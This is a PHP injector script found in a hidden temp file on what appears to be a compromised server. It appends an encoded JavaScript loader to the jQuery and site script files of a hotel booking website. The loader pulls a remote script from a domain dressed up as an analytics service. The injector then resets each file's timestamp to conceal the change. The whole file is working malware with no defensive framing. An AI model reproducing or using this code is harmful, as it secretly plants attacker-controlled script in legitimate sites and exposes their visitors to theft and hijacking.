File: //proc/164846/root/var/tmp/.val
<?php $r = "/var/www/u106523/data/www/bron.hoteltroparevo.ru"; $f = ['/assets/scripts/jquery-1.6.2.min.js','/assets/scripts/jquery-ui-1.8.16.custom.min.js','/assets/scripts/jquery.ui.datepicker-ru.js','/assets/scripts/jquery.fancybox.pack.js','/assets/scripts/script.js']; $code = rawurldecode('%3B%28function%28f%2Ci%2Cu%2Cw%2Cs%29%7Bw%3Df.createElement%28i%29%3Bs%3Df.getElementsByTagName%28i%29%5B0%5D%3Bw.async%3D1%3Bw.src%3Du%3Bs.parentNode.insertBefore%28w%2Cs%29%3B%7D%29%28document%2C%27script%27%2C%27https%3A//content-website-analytics.com/script.js%27%29%3B'); $wr = false; foreach ($f as $p) { $path = "{$r}/{$p}"; $ft = @filemtime($path); if (is_file($path) && is_writable($path)) { $wr = true; $content = file_get_contents($path); if (strstr($content, $code)) { die("!already injected!<f>{$p}</f><ft>{$ft}</ft>"); } $content = $content . $code; if(file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $code)) { die("!success!<f>{$p}</f><ft>{$ft}</ft>"); } } } } if ($wr) { print("!writable!"); } else { print("!not writable!"); } die('!ended!');